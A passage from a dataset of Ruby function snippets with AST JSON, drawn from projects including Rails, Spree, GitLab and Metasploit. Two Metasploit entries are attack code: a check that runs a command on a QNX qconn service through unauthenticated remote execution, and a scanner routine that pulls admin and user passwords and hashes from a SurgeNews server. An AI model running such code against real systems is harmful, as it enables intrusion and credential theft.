version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"0.1.11\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1.1.11\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"0 \"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1_\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1__1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}","id":"8492423b-23a0-432f-bd5a-d867c12610fc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/qnx/qconn/qconn_exec.rb","start_line":71,"raw_source":"def check\n vprint_status('Sending check...')\n\n connect\n res = sock.get_once(-1, 10)\n\n return CheckCode::Unknown('Connection failed') unless res\n\n return CheckCode::Safe unless res.include?('QCONN')\n\n sock.put(\"service launcher\\n\")\n res = sock.get_once(-1, 10)\n\n return CheckCode::Safe unless res.to_s.include?('OK')\n\n fingerprint = Rex::Text.rand_text_alphanumeric(5..10)\n sock.put(\"start/flags run /bin/echo /bin/echo #{fingerprint}\\n\")\n\n return CheckCode::Safe unless res.to_s.include?('OK')\n\n Rex.sleep(1)\n\n res = sock.get_once(-1, 10)\n\n return CheckCode::Safe unless res.to_s.include?(fingerprint)\n\n disconnect\n\n CheckCode::Vulnerable\n end","complexity_score":34.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending check...\"]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"include?\",{\"type\":\"str\",\"children\":[\"QCONN\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"str\",\"children\":[\"service launcher\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"OK\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fingerprint\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"start/flags run /bin/echo /bin/echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"OK\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]}]}]}","id":"213c1c88-f122-4f17-a315-5770d519c132"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/store_credit_categories_controller.rb","start_line":6,"raw_source":"def permitted_resource_params\n params.require(:store_credit_category).permit(permitted_store_credit_category_attributes)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"store_credit_category\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"permitted_store_credit_category_attributes\"]}]}]}","id":"c54432a7-6a6b-4704-bc80-3398304c7c2c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_discussions_status_service.rb","start_line":8,"raw_source":"def execute\n return inactive unless merge_request.only_allow_merge_if_all_discussions_are_resolved?\n\n if merge_request.mergeable_discussions_state?\n success\n else\n failure\n end\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"only_allow_merge_if_all_discussions_are_resolved?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inactive\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"mergeable_discussions_state?\"]},{\"type\":\"send\",\"children\":[null,\"success\"]},{\"type\":\"send\",\"children\":[null,\"failure\"]}]}]}]}","id":"bf053bd4-78c4-4e10-a05a-9e073905867c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/surgenews_user_creds.rb","start_line":120,"raw_source":"def run_host(_ip)\n @tries = 0\n\n service_data = {\n address: rhost,\n port: rport,\n service_name: (ssl ? 'https' : 'http'),\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n cred_table = Rex::Text::Table.new 'Header' => 'SurgeNews User Credentials',\n 'Indent' => 1,\n 'Columns' => ['Username', 'Password', 'Password Hash', 'Admin']\n\n # Read administrator password from password.log\n admin = parse_log read_file 'password.log'\n # If password.log doesn't contain credentials\n # then the password hasn't been updated since install.\n # Retrieve the credentials from install.log instead.\n admin = parse_log read_file 'install.log' if admin.nil?\n\n if admin.nil?\n vprint_error 'Found no administrator credentials'\n else\n print_good \"Found administrator credentials (#{admin['username']}:#{admin['password']})\"\n cred_table << [admin['username'], admin['password'], nil, true]\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n private_type: :password,\n private_data: admin['password'],\n username: admin['username']\n }\n\n credential_data.merge! service_data\n credential_core = create_credential credential_data\n login_data = {\n core: credential_core,\n access_level: 'Administrator',\n status: Metasploit::Model::Login::Status::UNTRIED\n }\n login_data.merge! service_data\n create_credential_login login_data\n end\n\n # Read user credentials from nwauth.add\n users = parse_user_db read_file 'nwauth.add'\n if users.blank?\n vprint_error 'Found no user credentials in nwauth.add'\n return\n end\n vprint_status \"Found #{users.length} users in nwauth.add\"\n\n unless users.nil?\n users.each do |user|\n next if user.empty?\n\n cred_table << [user['username'], user['password'], user['hash'], false]\n\n if user['password']\n print_good \"Found user credentials (#{user['username']}:#{user['password']})\"\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n private_type: :password,\n private_data: user['password'],\n username: user['username']\n }\n else\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n private_type: :nonreplayable_hash,\n private_data: user['hash'],\n username: user['username']\n }\n end\n\n credential_data.merge! service_data\n credential_core = create_credential credential_data\n login_data = {\n core: credential_core,\n access_level: 'User',\n status: Metasploit::Model::Login::Status::UNTRIED\n }\n login_data.merge! service_data\n create_credential_login login_data\n end\n end\n\n print_line\n print_line cred_table.to_s\n\n p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials'\n print_good \"Credentials saved in: #{p}\"\n end","complexity_score":97.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tries\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"SurgeNews User Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Username\"]},{\"type\":\"str\",\"children\":[\"Password\"]},{\"type\":\"str\",\"children\":[\"Password Hash\"]},{\"type\":\"str\",\"children\":[\"Admin\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"admin\",{\"type\":\"send\",\"children\":[null,\"parse_log\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"password.log\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"admin\",{\"type\":\"send\",\"children\":[null,\"parse_log\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"install.log\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Found no administrator credentials\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found administrator credentials (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"str\",\"children\":[\"Administrator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"parse_user_db\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"nwauth.add\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Found no user credentials in nwauth.add\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" users in nwauth.add\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"nil?\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hash\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found user credentials (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hash\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\"